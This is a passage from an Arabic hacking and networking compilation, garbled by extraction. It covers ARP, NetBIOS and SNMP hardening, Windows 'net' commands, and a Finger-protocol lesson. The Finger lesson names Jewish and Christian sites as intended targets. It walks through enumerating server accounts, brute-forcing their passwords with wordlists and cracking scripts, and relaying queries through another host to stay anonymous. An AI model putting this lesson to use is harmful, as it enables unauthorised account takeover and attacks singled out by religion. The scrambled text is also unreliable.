‫و الن ندتخل فى شر ح عمليه تحديد ال ‪Physical‬‬ ‫‪ Address‬اى ‪:‬‬ ‫‪:Physical Address Determination‬‬ ‫=============================‬ ‫==‬ ‫اذا كان يريد هجهاز كمبيوتر ان ينقل ‪ ip data‬اذن‬ ‫فأنه يحتاج الى ان يغلف بأطار مخصص و تابع‬ ‫للنتورك المتصل الجهاز بها‪ .‬و لنجا ح هذا النتقال فى‬ ‫ظل الغليف بهذا الطار من الدرورى ان نحدد ما يسمى‬ ‫بال ‪ physical address‬لتجاه الكمبيوتر‪ .‬و هذا‬ ‫يتم بنجا ح و ببساطه عن طريق استخدا‪.‬م هجدول سوف‬ ‫يوضح كيفيه تحويل ال ‪ ip‬الى ‪physical‬‬ ‫‪ , addresses‬فمثل هذا الجدول يحتوى على‬ ‫عناوين ال ‪ ip‬للنتوركس و الدرس او العنوان‬ ‫المعروف لها ‪.‬‬ ‫و للحصول على هذا الجدول و قرائته من الطبيعى ان‬ ‫يكون الكمبيوتر يستخد‪.‬م بروتوكول معين للحصول‬ ‫على هذا الجدول و تحويل ال ‪ ip‬الى ‪physical‬‬ ‫‪ addresses‬و هذا البروتوكول يعرف بأسم ‪ARP‬‬ ‫اى ‪ Address Resolution Protocol‬اى‬ ‫بروتوكول تحليل الدرس و اعتقد اننا الن ادركنا و‬ ‫فهمنا معنى كلمه تحويل ال ‪ ip‬الى ‪physical‬‬ ‫‪131‬‬

‫‪ , addresses‬و يمكن ان نعرف هذا الجدول بأسم‬ ‫‪. ARP cache‬‬ ‫و للحصول على الجدول نستخد‪.‬م امر ‪ arp -a‬و فى‬ ‫اليونكس ايضا نستخد‪.‬م نفس المر‪.‬‬ ‫و هذا مثال حى من هجهازى على الجدول الذى يظهر‬ ‫بعد تنفيذ المر ‪:‬‬ ‫‪C:\WINDOWS>arp -a‬‬ ‫‪Interface: 62.135.9.102 on Interface‬‬ ‫‪0x2‬‬ ‫‪Internet Address Physical Address‬‬ ‫‪Type‬‬ ‫‪20-53-52-43-00-00 207.46.226.17‬‬ ‫‪dynamic‬‬ ‫‪20-53-52-43-00-00 213.131.64.2‬‬ ‫‪dynamic‬‬ ‫‪20-53-52-43-00-00 213.131.65.238‬‬ ‫‪dynamic‬‬ ‫النترنت ادرس الموهجود امامكم هذا هى عناوين كل‬ ‫الشبكات المتصله بجهازى بعد دتخولى الى النترنت‬ ‫‪132‬‬

‫و ال ‪ Physical Address‬اعتقد انكم تلحظون‬ ‫انه ثابت ل يتغير و بهذا يمكننا ان نقول و نوضح لكم‬ ‫ان ال ‪ Physical Address‬هذا هو ال ‪Mac‬‬ ‫‪ Address‬اى رقم الجهاز نفسه الذى تتصل به‬ ‫النتوركس اثناء العمل و لذلك فقد قلت فى كلمى ان‬ ‫تحديد ال ‪ Physical Address‬مهم هجدااا فى‬ ‫عمليه نقل معلومات او داتا ال ‪ ip‬لنه بدون‬ ‫‪ Physical Address‬اذن فكيف ستتعرف‬ ‫الباكيدهجس الموهجوده فى ال ‪ router‬على طريقها‪.‬‬ ‫و ال ‪ type‬هذا مكتوب ‪ dynamic‬اى انه غير‬ ‫ثابت بمعنى انه يتغيير عند عمل ريستارت لكل مره فى‬ ‫الجهاز و لكنه يثبت اثناء العمل على النترنت ‪.‬‬ ‫و هناك النوع التخر و هو ال ‪ static‬اى الثابت الذى‬ ‫ل يتغير "هذا فقط للتوضيح"‬ ‫اعتقد الن اننا فهمنا بمعنى بسيط ما هو الروتنج و ما‬ ‫هى ال ‪routers‬‬ ‫انتهى‪،،،‬‬

‫‪133‬‬

‫" ‪" NETBIOS‬‬ ‫>منقول من موقع نورة<‬ ‫بعد قراءة هذا الموضوع ستكون قاادر على‬ ‫•‬ ‫•‬ ‫•‬

‫صد الجلسات الخالية‬ ‫منع تعدااد المستخدمين‬ ‫منع تعدااد الـ ‪SNMP‬‬

‫يوجد في العدااد الفتراضي للويندلوز اعتمااد على‬ ‫‪134‬‬

‫‪ NetBIOS‬لوهي مشكلة كبيرة لصحاب الشبكات‬ ‫المهمة لن الـ ‪ NetBIOS‬لها لواجهات تداخل‬ ‫‪ API‬تعيد لوترجع معلومات حول الهدف من خلل‬ ‫المنفذ ‪ 139‬لـ ‪ ، TCP‬لوفي الحالة الفتراضية يكون‬ ‫الوصول ممكن حتى من مجهولين الهوية ‪ ،‬لوطبعا‬ ‫هذا يكون فيه خطر‪ً.‬ا قد يكون كبير عند استخدامه من‬ ‫محترفين الولوج على أنظمة ‪NT‬‬ ‫تستطيع أن تلغي كل خدمات ‪ NetBIOS‬على جهاز ما‬ ‫عندما تجد أنها غير ظرلورية لك لويكون ذلك من‬ ‫خصائص ‪ TCP/IP‬ثم من ‪ Advanced‬ثم من التبويب‬ ‫‪ WINS‬ثم تعلم على الخيار الواضح في المثال التالي‬

‫لوإذا كانت هذه الخدمة مهمة لك فقد قدمت شركة‬ ‫ل مناسب‪ً.‬ا لوهى تدعى‬ ‫مايكرلوسوفت ح ‪ً.‬‬ ‫‪ RestrictAnonymous‬لوهي تحد بشكل كبير من‬ ‫تسرب المعلومات عبر الوصلت المجهولة ‪ ،‬لوتستطيع‬ ‫الوصول إليها من ‪ Administrative TOOLS‬ثم من‬ ‫‪ Local Security policy‬ثم من النافذة نختار ‪Local‬‬ ‫‪ poicies‬ثم من ‪ security options‬ثم نعلم على‬ ‫‪135‬‬

‫الخيار اللول ‪Additional restrictions for‬‬ ‫‪ anonymous connections‬ثم بالزر اليمن نختار‬ ‫‪ security‬ثم من النافذة نختار من الشريط المنزلق‬ ‫الخيار ‪No Access Without Explicit‬‬ ‫‪ Anonymous Permissions‬مثل المثال‬

‫بعض المثله لستخدام أادلوات الـ ‪NetBIOS‬‬ ‫‪‬‬

‫‪Net View‬‬

‫هذه الاداة مضمنه ضمن نظام التشغيل نفسه لوهي أاداة‬ ‫سطر الوامر على ‪ NT/W2000‬لوهي تعرض المياادين‬ ‫المتاحة لوكل الجهزة على هذه المياادين لوكل الخدمات‬ ‫المتاحة لتشارك على الجهزة ‪ ،‬لويكفي أن تكتب عنوان‬ ‫‪ IP‬ألو اسم الدلومين حتى تكون قد حصلت على ما تريد‬

‫‪136‬‬

‫لولمعرفة المزيد عن‬ ‫إستخدامات المر ‪ Net‬في إادارة الشبكة انقر ‪.‬‬ ‫لوتوجد بعض الادلوات المتاحة على النترنت تقوم بنفس‬ ‫العمل بشكل احترافي منها هذه الاداة المدعوه ‪Nbtscan‬‬ ‫لوهي أيض‪ً.‬ا ااداة سطر ألوامر لوتستطيع أن تحملها من ‪...‬‬ ‫لولمشاهدة شرح ميسر من ‪...‬‬ ‫لوتوجد أادلوات رسومية شعبية كثيرة على النترنت للقيام‬ ‫بنفس العمل منها على سبيل المثال البرنامج ‪Legion‬‬ ‫‪،‬‬

‫‪‬‬

‫الحل المريح‬

‫الحل المريح لتخلص من هذا الصداع هو حماية المنافذ‬ ‫المقدمه من البرلوتوكول ‪ TCP‬لو البرلوتوكول ‪UDP‬‬ ‫عبر المنافذ من ‪ 135‬إلى المنفذ ‪ ، 445+ 139‬لوكل‬ ‫برامج الجدران النارية المتقدمة تستطيع من خللها أن‬ ‫‪137‬‬

‫تتحكم بالمنافذ بشكل مريح ‪ ،‬لوشاهدنا كيف نلغي الخدمة‬ ‫‪ NetBIOS‬ألو نقلل من المشاكل المحتمله منها ‪،‬‬ ‫لورغم كل ذلك لزال الخطر موجواد‪ً.‬ا إذا كنت تستخدم‬ ‫البرلوتوكول ‪ SNMP‬لادارة الشبكة على لويندلوز ‪2000‬‬ ‫سيرفر ‪ ،‬فهذا البرلوتوكول يمرر كل المعلومات المطلوبة‬ ‫إذا كان مثبتا ‪ ،‬لولتأمين هذا البرلوتوكول بالشكل المطلوب‬ ‫أمامك خيارين اللول‬ ‫حذف اسم المجموعة ‪ Public‬التي تكون عند التثبيت‬ ‫الفتراضي لوتكون أسماء مخصصة من مستخدمين‬ ‫الشبكة كما في المثال المجموعة ‪ public‬موجوادة علم‬ ‫عليها ثم من الزر ‪ Remove‬ثم حرر المربع ‪Send‬‬ ‫‪authentication trap‬‬

‫‪138‬‬

‫بذلك تكون قد حصرت استخدام هذا البرلوتوكول‬ ‫للشخاص المختارين فقط‬ ‫لوالحل الثاني من محرر السجل ‪regedit‬‬ ‫‪HKEY_LOCAL_MACHINE\system\curr‬‬ ‫‪entControlset\serveces\SNMP\parameters‬‬ ‫‪\ExtensionAgent‬‬ ‫ثم قم بحذف المفتاح ‪LANManagerMIB2Agent‬‬ ‫ل إ ذا كان ما حذفته رقمه‬ ‫ثم قم بإعاادة ترقيم المدخلت مث ‪ً.‬‬ ‫‪139‬‬

‫= لواحد أعد الترقيم ليبدأ من لواحد للمدخل رقم ‪2‬‬ ‫هل‬ ‫تعلم‬ ‫أن‬

‫البرلوتوكول ‪ TCP/IP‬يستطيع العمل‬ ‫بشكل سليم بدلون خدمات الـ‬ ‫‪ ، NetBIOS‬لذلك إذا كنت غير محتاج‬ ‫إليه تعطيله أفضل‬ ‫انتهى‪،،،‬‬

‫" بروتوكول وخدمة ‪"Finger‬‬ ‫>منقول من منتديات شبكة الحز‪.‬م السلمية<‬ ‫>الكاتب‪
‫‪140‬‬

‫السل‪.‬م عليكم ورحمة ال وبركاته‬ ‫اتمنى انكم تتقبلون مني هذا الدرس عن بروتوكول‬ ‫تخدمة ‪ Finger‬التي تعمل على بورت ‪79‬‬ ‫بسم ال نبدأ الدرس‬ ‫فهرس محتويات الدرس‬ ‫>================<‬ ‫‪ 1.1‬تبرئة‬ ‫‪ 1.2‬مقدمة عن ‪Finger‬‬ ‫‪ 1.3‬استخدا‪.‬م ‪Finger‬‬ ‫‪ 1.4‬بعض الخدع عند استخدا‪.‬م تخدمة ‪Finger‬‬ ‫‪ 1.5‬الستعل‪.‬م عن طريق موقع بأستخدا‪.‬م ‪Finger‬‬ ‫‪ 1.6‬الستنتاج من هذا الدرس‬ ‫‪ 1.7‬الختا‪.‬م‬

‫‪ 1.1‬تبرئة‪:‬‬ ‫>=========<‬ ‫هذا الدرس فقط للتعليم والتطبيق على مواقع اليهود‬ ‫‪141‬‬

‫والنصاري الضاره للمسلمين‬ ‫فالكاتب ل يتحمل اي مسؤولية للستخدا‪.‬م السيء لهذا‬ ‫الدرس ضد أتخواننا المسلمين‪.‬‬ ‫‪ 1.2‬مقدمة عن ‪Finger‬‬ ‫>===================<‬ ‫ن ‪ Finger‬ديمون تخدمة تعمل عن طريق البورت‬ ‫إ ّ‬ ‫‪ 79‬عادة وكانت‬ ‫مستخدمة أصل كنوع ‪ businesscard‬رقمي‬ ‫للناس‪.‬‬ ‫المستخد‪.‬م البعيد)‪ ( remote user‬يمكن أن يرسل‬ ‫طلب إلى ‪ Finger‬ديمون يجري على نظا‪.‬م معين‬ ‫)بورت ‪ Finger‬نوعية ‪ (79‬وسيحصل على إهجابة‪.‬‬ ‫هذه الهجابة ستخبرك من هم المستخدمين على هذا‬ ‫النظا‪.‬م و أيضا‬ ‫بعض المعلومات عن هؤلء المستخدمين المتصلين‬ ‫بالنظا‪.‬م‪.‬‬ ‫إضافة إلى هذه المعلومات‪ ,‬في أغلب الحيان الهجابة‬ ‫تخبرك أيضا من الذي يدير النظا‪.‬م)‪ (admin‬وكيف‬ ‫قا‪.‬م بالتصال‪.‬‬ ‫‪142‬‬

‫قديما استخد‪.‬م الناس التصال على هجميع انواع النظمة‬ ‫في العالم وطلب الستعل‪.‬م عن هذه النظمة و الـ‬ ‫‪ Finger‬كان يعطيهم معلومات عن‬ ‫من هم الموهجودون في النظا‪.‬م وهل لهم حسابات في‬ ‫هذا النظا‪.‬م‪.‬وكان ‪ Finger‬يستخد‪.‬م قديما في‬ ‫الجامعات و الشركات الكبيرة أيضا‪.‬‬ ‫في الماضي ‪ ،‬الـ ‪ Finger‬إستعمل عامة عن طريق‬ ‫الطلب في الجامعات‬ ‫اذا ارادوا معلومات تخص طلب اتخرين في نفس‬ ‫الجامعه‬ ‫وكثيرا ما تكون الهجابة )اهجابة ‪Finger Deamon‬‬ ‫( بجملة " ‪ " !Finger me‬اي "أعلمني ! "‬ ‫أما الن ومع وهجود شبكة النترنت العالمية اصبح‬ ‫‪Finger‬‬ ‫أقل شهرة ‪ ،‬لنه توهجد الن‬ ‫مواقع الويب للعمل كبطاقة عمل)‪(bisinesscard‬‬ ‫رقمية تخاصة بمستخدمين النترنت وبسبب ملحظة‬ ‫الناس‬ ‫التهديد الواسع للمن اللكتروني ق ّل استخدا‪.‬م تخدمة‬ ‫‪Finger Deamon‬‬ ‫‪143‬‬

‫على أية حال‪،‬‬ ‫ليس كل النظمة منعت هذه الخدمة وستجد بعض‬ ‫المواقع ) النظمة( تقد‪.‬م هذه الخدمة‪.‬‬ ‫وهذه اليا‪.‬م يقو‪.‬م الهكرز بمحاولت اتختراق النظمة‬ ‫بأستخدا‪.‬م برامج‬ ‫‪ portscans‬للبحث عن البورتات المفتوحة‪. . .‬‬ ‫ي أساس علمي ‪.‬‬ ‫بدون أ ّ‬ ‫ن ‪ Finger‬ديمون‪ ،‬مثال عظيم لخدمة‬ ‫لذلك إ ّ‬ ‫يمكن استخدامها قانونيا لتزودك بكمية ضخمة من‬ ‫ساسة‬ ‫المعلومات الح ّ‬ ‫حول هدف‪.‬‬ ‫لهذا سوف أحاول ان اشر ح في هذا الدرس بلغة‬ ‫مفهومة‬ ‫ما هو ‪ Finger‬ديمون وماذا يفعل وكيف يمكن‬ ‫استخدامه في مصلحتك‬ ‫الخلصة المقدمة‪ :‬ان تخدمة ‪ Finger‬كانت قديما‬ ‫ولزالت تستخد‪.‬م لجلب المعلومات عن‬ ‫المستخدمين الموهجودين في النظا‪.‬م و هل لديهم‬ ‫حسابات في هذا النظا‪.‬م ا‪.‬م ل ‪.‬‬ ‫ملحظة ‪ :‬النظا‪.‬م) ‪ ( server‬هو هجهاز كمبيوتر تخزن‬ ‫‪144‬‬

‫فيه معلومات هائلة ويستخد‪.‬م في استضافة المواقع‬ ‫‪ 1.3‬استخدا‪.‬م ‪Finger‬‬ ‫>=================<‬ ‫عند استخدا‪.‬م اي من برامج السكان المعروفة مثل )‬ ‫‪ ( superscan‬للبحث‬ ‫في موقع معين )مثل‬ ‫‪ ( /http://www.foobar.com‬ووهجدت به منفذ‬ ‫)‪ Port‬بورت( ‪ 79‬مفتوحا‬ ‫هذا يعني ان ‪/http://www.foobar.com‬‬ ‫له ‪ Finger‬ديمون يعمل‪.‬‬ ‫الن كيف نقو‪.‬م بـ)‪ (request‬طلب استعل‪.‬م؟‬ ‫عن طريق وندوز‬ ‫في أغلب الحيان وندوز ل يوهجدبه زبون )‪(client‬‬ ‫تخاص للـ ‪ Finger‬مركب ) ‪( installed‬‬ ‫لذلك سوف نستخد‪.‬م ‪ Telnet‬كخاد‪.‬م لـ ‪Finger‬‬ ‫‪-‬توضيح‪--‬‬‫>‪Telnet(client) --------request-------‬‬ ‫‪Finger Deamon(in Server) o‬‬ ‫‪145‬‬

‫عن طريق كتابة السطر التي في موهجة الدوس )‪MS‬‬ ‫‪: ( DOS‬‬ ‫‪telnet http://www.foobar.com/ 79‬‬ ‫بعد ذلك سيظهر لك برنامج ‪ telnet‬و منه تطبع‬ ‫الوامر ‪.‬‬ ‫اما من يونيكس‬ ‫لسنا بحاهجة إلى أن نستعمل تيلنت لنه يوهجد بنظا‪.‬م‬ ‫لينوكس زبون)‪(client‬تخاص بخدمة ‪Finger‬‬ ‫‪Deamon‬‬ ‫مر ّكب على النظا‪.‬م بشكل دائم تقريبا‪.‬‬ ‫ملحظة ‪ :::‬سيكون الشر ح التالي حتى نهاية الدرس‬ ‫لمستخدمي لينوكس أما أذا قررت الستمرار بأستخدا‪.‬م‬ ‫وندوز ستكون كتابة الوامر في موهجه الدوس ثم في‬ ‫التلنت وستكون كتابة الوامر نفسها الوامر التي‬ ‫تنكتب بأستخدا‪.‬م نظا‪.‬م لينوكس ولكن بدل "@" نضع‬ ‫"مسافة ثم ‪ "www‬في الوندوز مراعيا اسم الموقع‬ ‫مثل يكون كتابة الوامر في لينوكس هكذا ‪:‬‬ ‫‪146‬‬

[email protected] : ‫ولكن في وندوز سيكون هكذا‬ /finger http://www.anyname.com www ‫ و‬finger ‫لحظ المسافة بين‬

‫اطبع في محث الوامر في يونكس ) على افتراض انك‬ : ( unix shell ‫م‬.‫تستخد‬ [email protected] ‫م عنه مثل‬.‫لحظ ان الهدف )الموقع المرادالستعل‬ ‫معرفة من هم مستخدمينه ( هنا هو‬ ‫ كمثال‬/http://www.foobar.com :‫فستظهرالنتائج‬ Login: Name: Tty: Idle: When: :Where root foobar sys console 17d Tue 10:13 node0ls3.foobar.com <.......> <.......> <.......> Amos Amanda 147

‫‪Anderson Kenneth‬‬ ‫‪Bright Adrian‬‬ ‫‪Doe John‬‬ ‫‪<.......> <.......> <.......> Johnson Peter‬‬ ‫‪Mitnick Kevin‬‬ ‫‪Munson Greg‬‬ ‫‪Orwell Dennis‬‬

‫الن ماذا تعني هذه النتائج؟‬ ‫في العمود الول ) ‪( login‬نرى أسماء المستعملين‬ ‫وفي الثاني )‪" (Name‬السماء الحقيقية"‪،‬‬ ‫التي بالطبع ليست حقيقية‪ ،‬لكن في معظم الوقت‬ ‫حقيقة‪.‬‬ ‫يرينا العمود الثالث )‪(Tty‬النوع الطرفي ‪the‬‬ ‫‪terminal type‬‬ ‫والرابع )‪ (Idle‬فترة التوقف ‪.the idle time‬‬ ‫وبعد ذلك في العمودين الخامس والسادس‬ ‫الوقت والمكان الذي استخد‪.‬م فيه الحساب للتصال‬ ‫بالنظا‪.‬م‪.‬‬ ‫أحيانا توهجد أعمدة بعنواوين اليميلت وأرقا‪.‬م هواتف‬ ‫‪148‬‬

‫‪..‬الخ الخاصة بمستخدمين هذا النظا‪.‬م‬ ‫إذا كنت تريد المزيد من المعلومات عن مستخد‪.‬م مع ّين‬ ‫)‪ Johnson Peter‬بيتر هجونسن‬ ‫على سبيل المثال( أدتخل المر التالي‪:‬‬ ‫‪finger [email protected]‬‬

‫‪ 1.4‬بعض الخدع عند استخدا‪.‬م تخدمة ‪Finger‬‬ ‫> =========================‬ ‫===========<‬ ‫أتم ّنى الن شاهدت ما الضعف الرئيسي لخدمة‬ ‫‪.Finger‬‬ ‫‪ Finger deamon‬يريك ماهي الحسابات‬ ‫الموهجوده على النظا‪.‬م‪.‬‬ ‫هذا يعني أنك تكسب )عن طريق قانوني ( ‪ % 50‬من‬ ‫المجموعة السحرية وهي‬ ‫كلمات السر‪/‬مجموعة أسماء المستخدمين التي‬ ‫ستمنحك الدتخول )‪(Access‬إلى نظا‪.‬م‪.‬‬ ‫‪149‬‬

‫إذا عرفت أسماء المستخدمين‪ ،‬ستكون الخطوة القادمة‬ ‫متوقفه على برنامج ‪ bruteforce‬أو‬ ‫بمعنى آتخر برامج تخمين الباسوورد ‪worldist‬‬ ‫‪password cracker‬‬ ‫صة كتبت للتيلنت على سبيل المثال‬ ‫هناك سكربتات تخا ّ‬ ‫اذهب لموقع‬ ‫‪/http://www.thehackerschoice.com‬‬ ‫أو ابحث عن‬ ‫‪VLAD's pwscan.pl‬‬ ‫لذلك يجب عليك ان تكون قائمة بكلمات السر في ملف‬ ‫نصي )‪ word‬او المفكره(‬ ‫وحاول ان تكون كلمات السرقريبة من أسماء‬ ‫المستخدمين وإذا لم تعمل القائمة‬ ‫استخد‪.‬م برنامج ‪- bruteforce‬أنصحك بهذا الوقت‬ ‫ان تحظر لك كأس شاهي وتأتخذ لك استراحة‬ ‫وتجعل البرنامج يعمل عمله‪-‬‬ ‫بالطبع نجد بعض الحسابات للمستخدمين للنظا‪.‬م اكثر‬ ‫اهمية من غيرها من الحسابات‪.‬‬ ‫وتخاصة حساب الدارة )‪ (Admin‬أو الجذر)‪(root‬‬ ‫بسبب انه عندما تعرف الباسوورد الخاص بهم‬ ‫‪150‬‬

‫وقتها تستطيع التحكم بالموقع ‪ .‬وبالطبع بعض‬ ‫الحسابات سهلة تخمين كلمة السر ‪.‬‬ ‫هناك بعض الخدع لمعرفة هذا النوع من الحسابات‪.‬‬ ‫على سبيل المثال‬ ‫إطبع المر‪:‬‬ ‫‪finger [email protected]‬‬ ‫عندما ترسل هذا المر الي ‪Finger Deamon‬‬ ‫سيعطيك هجميع الحسابات‬ ‫التي تحتوي على كلمة "‪ "secret‬أ ّما في اسم‬ ‫المستعمل أو السم الحقيقي‪.‬‬ ‫اذا‪ ،‬ماهو الشي المهم في هذا؟ حسنا أنت يمكنك أن‬ ‫تستعمل "‪ "test‬أو "‪ "temp‬أو "‪"0000‬‬ ‫بدل من "‪ "secret‬وكما تعرف من المحتمل ان‬ ‫يكون هذاالنوع من الحسابات‬ ‫سهل معرفة باسوورداته في أغلب الحيان‪.‬‬ ‫‪finger [email protected]‬‬ ‫‪finger [email protected]‬‬ ‫‪151‬‬

‫هجرب هذه الوامر وشاهد ما يحدث!‬ ‫حاول التعرف على ‪ ،Finger Deamon‬أقرأ‬ ‫‪ RFC‬وأوهجد تخدعك بنفسك!‬

‫‪ 1.5‬الستعل‪.‬م عن طريق موقع بأستخدا‪.‬م ‪Finger‬‬ ‫> =========================‬ ‫=============<‬ ‫إذا أردت ان استخد‪.‬م تخدمة ‪) Finger‬معنى ‪Finger‬‬ ‫كفعل "ألمس" ولكنها تأتي هنا بمعنى "استعلم"(‬ ‫والستعل‪.‬م عن موقع معين مثل هذا"‬ ‫‪"www.victim.com‬‬ ‫وأيضا تعرف أن موقع آتخر "‪"www.host.com‬‬ ‫يقد‪.‬م تخدمة ‪ Finger‬تعمل‪،‬‬ ‫عندها يمكنني ان أقد‪.‬م طلبا مثل هذا‪):‬اكتب في محث‬ ‫الوامر مثل هذا(‬ ‫‪[email protected]@victim.com‬‬ ‫‪ Host.com‬يستعلم )‪ (Finger‬الن‬ ‫‪152‬‬

‫‪ victim.com‬ويريك النتائج‪.‬‬ ‫أحدالفوائد من هذه الطريقة انك ستكون مجهول لدى‬ ‫‪victim.com‬‬ ‫فعندما تقو‪.‬م ‪/http://www.victim.com‬‬ ‫بطلب سجل )الدتخول ‪ (log‬ستشاهد‬ ‫‪ /http://www.host.com‬في سجلتهم‪ ،‬بدل‬ ‫منك ‪.‬‬ ‫فائدة اتخرى وهي أنك يمكن ان تترك ‪) Host‬موقع(‬ ‫يقو‪.‬م ) عن طريق تخدمة ‪( Finger‬بالستعل‪.‬م عن‬ ‫حاسوبا‬ ‫آتخرا على نفس الشبكة ‪ ،‬بينما اذا طلبت انت هذا‬ ‫الستعل‪.‬م بأستخدا‪.‬م تخدمة ‪ Finger‬من هجهازك‬ ‫لن تكون مسموحة لك لنك سأكون غير موثوق به‬ ‫لدى المستعلم عنه‬ ‫بعكس اذا كان الطلب للستعل‪.‬م باستخدا‪.‬م ‪Finger‬‬ ‫عن طريق موقع ‪.‬‬ ‫يعني الخلصة ‪ :‬ان الموقع الذي تريد الستعل‪.‬م عنه‬ ‫يعتبر حاسوبك الشخصي غير موثوق به بعكس‬ ‫اذا كان الستعل‪.‬م عن طريق موقع اتخر يشابهه فسوف‬ ‫يسمح له !‪.‬‬ ‫‪153‬‬

‫‪1.6‬الستنتاج من هذا الدرس‬ ‫>=======================<‬ ‫‪ Finger Deamon‬يمكن أن يكون مصدر‬ ‫معلومات ضخم لي واحد يحاول‬ ‫كسب الدتخول) ‪ ( access‬إلى نظا‪.‬م‪.‬‬ ‫‪ Finger deamon‬قانونيا يز ّودك بنصف كلمات‬ ‫السر واسماء المستخدمين‬ ‫التي تحتاهجها لكسب الدتخول ‪.access‬‬ ‫هناك بضعة تخدع لطيفة تمكنك من معرفة حسابات‬ ‫تخاصة تبحث عنها‬ ‫من معرفتك لهذه الحسابات تستطيع كسر الباسووردات‬ ‫‪ ،‬بإستعمال تقنية ‪ wordlist‬أو ‪.bruteforce‬‬ ‫تذ ّكر فوائد "الستعل‪.‬م عن طريق موقع"أيضا‬ ‫بأستعمال ‪.Finger deamon‬‬ ‫انتهى‪،،،‬‬

‫‪154‬‬

‫" شرح مختصر لدار ة الشبكة‬ ‫بإستخدا م المر ‪" NET‬‬

‫>منقول من موقع نورة<‬ ‫تستخد‪.‬م العديد من الخدمات أوامر شبكة‬ ‫التصال التي تبدأ بالكلمة ‪ .net‬تملك‬ ‫أوامر ‪ net‬هذه بعض الخصائص‬ ‫‪155‬‬

‫المشتركة‪:‬‬ ‫يمكنك مشاهدة قائمة بكافة أوامر ‪net‬‬ ‫المتوفرة بكتابة ?‪ net /‬في موهجه‬ ‫الوامر‪.‬‬ ‫يمكنك الحصول على تعليمات بناء الجملة‬ ‫في سطر الوامر لمر ‪ net‬عن طريق‬ ‫كتابة ‪ net help command‬في‬ ‫موهجه الوامر‪ .‬على سبيل المثال‪،‬‬ ‫للحصول على تعليمات المر ‪net acc‬‬ ‫‪ ،ounts‬اكتب مايلي‪:‬‬ ‫‪net help accounts‬‬ ‫تقبل كافة أوامر ‪ net‬تخيارات سطر‬ ‫الوامر ‪) /y‬نعم( و ‪) /n‬ل(‪ .‬على سبيل‬ ‫المثال‪ ،‬يطالبك المر ‪net stop serv‬‬ ‫‪ er‬بتأكيد رغبتك في إيقاف كافة تخدمات‬ ‫الملقم التابعة‪ ،‬بينما يتجاوز ‪net stop‬‬ ‫‪ ، server /y‬عن طريق الهجابة بنعم‬ ‫تلقائي ًا‪ ،‬المطالبة بالتأكيد ويعمل على‬ ‫إيقاف تشغيل تخدمة الملقم‪.‬‬ ‫إذا كان اسم الخدمة يحتوي على‬ ‫فراغات‪ ،‬استخد‪.‬م علمات القتباس حول‬ ‫النص )أي‪.("Service Name " ،‬‬ ‫‪156‬‬

‫على سبيل المثال‪ ،‬يش ّغل المر التالي‬ ‫تخدمة ‪:net logon‬‬ ‫"‪net start "net logon‬‬ ‫أوامر تخدمات ‪Net‬‬ ‫‪Net accounts‬‬ ‫يح ّدث قاعدة بيانات حسابات‬ ‫المستخدمين ويعدل كلمة المرور‬ ‫ومتطلبات تسجيل الدتخول من أهجل‬ ‫هجميع الحسابات‪.‬‬ ‫بناء الجملة‬ ‫‪net accounts‬‬ ‫| ‪[/forcelogoff:{minutes‬‬ ‫]‪no}] [/minpwlen:length‬‬ ‫| ‪[/maxpwage:{days‬‬ ‫]}‪unlimited‬‬ ‫]‪[/minpwage:days‬‬ ‫]‪[/uniquepw:number‬‬ ‫]‪[/domain‬‬ ‫المعلمات‬ ‫}‪/forcelogoff:{minutes | no‬‬ ‫تعين عدد الدقائق التي يجب‬ ‫انتظارها قبل إنهاء هجلسة عمل‬ ‫‪157‬‬

‫مستخد‪.‬م مع ملقم ما عندما تنتهي‬ ‫مدة صلحية حساب المستخد‪.‬م أو‬ ‫وقت تسجيل الدتخول الصالح‪ .‬تمنع‬ ‫القيمة الفتراضية‪ ،no ،‬من فرض‬ ‫تسجيل الخروج على المستخدمين‪.‬‬ ‫‪/minpwlen:length‬‬ ‫تعين الحد الدنى لعدد الحرف من‬ ‫أهجل كلمة مرور حساب المستخد‪.‬م‪.‬‬ ‫يتراو ح النطاق ما بين ‪ 0‬و ‪127‬‬ ‫حرف ًا ويكون الفتراضي هو ستة‬ ‫أحرف‪.‬‬ ‫| ‪/maxpwage:{days‬‬ ‫}‪unlimited‬‬ ‫تعين الحد القصى لعدد اليا‪.‬م التي‬ ‫تكون فيها كلمة المرور الخاصة‬ ‫بحساب المستخد‪.‬م صالحة‪ .‬تعين‬ ‫القيمة ‪ unlimited‬أنه ليس‬ ‫هناك حد أقصى للوقت‪ .‬يجب أن‬ ‫يكون تخيار سطر أوامر ‪/maxp‬‬ ‫‪ wage‬أكبر من ‪/minpwag‬‬ ‫‪ .e‬ويتروا ح النطاق ما بين ‪ 1‬و‬ ‫‪ 49,710‬يوم ًا )أي أن‬ ‫‪158‬‬

‫‪ unlimited‬يكافئ ‪49,710‬‬ ‫يوم ًا(‪ ،‬والقيمة الفتراضية هي ‪90‬‬ ‫يوم ًا‪.‬‬ ‫‪/minpwage:days‬‬ ‫تعين الحد الدنى لعدد اليا‪.‬م قبل أن‬ ‫يتمكن المستخد‪.‬م من تغيير كلمة‬ ‫مرور هجديدة‪ .‬القيمة الفتراضية‬ ‫هي ‪ 0‬يوم ًا‪ ،‬والتي تعين أنه ليس‬ ‫هناك حد أدنى للوقت‪ .‬ويتراو ح‬ ‫النطاق ما بين ‪ 0‬و ‪49,710‬‬ ‫يوم ًا‪.‬‬ ‫‪/uniquepw:number‬‬ ‫تتطلب أن ل يكرر المستخد‪.‬م كلمة‬ ‫المرور نفسها بعدد المرات‬ ‫‪ number‬المعين لعمليات تغيير‬ ‫كلمة المرور‪ .‬يتراو ح النطاق ما‬ ‫بين ‪ 0‬و ‪ 24‬من عمليات تغيير‬ ‫كلمة المرور‪ ،‬والفتراضي هو أن‬ ‫تكون عمليات التغيير بمقدار تخمس‬ ‫كلمات مرور ‪.‬‬ ‫‪/domain‬‬ ‫تنجز العملية على وحدة تحكم‬ ‫‪159‬‬

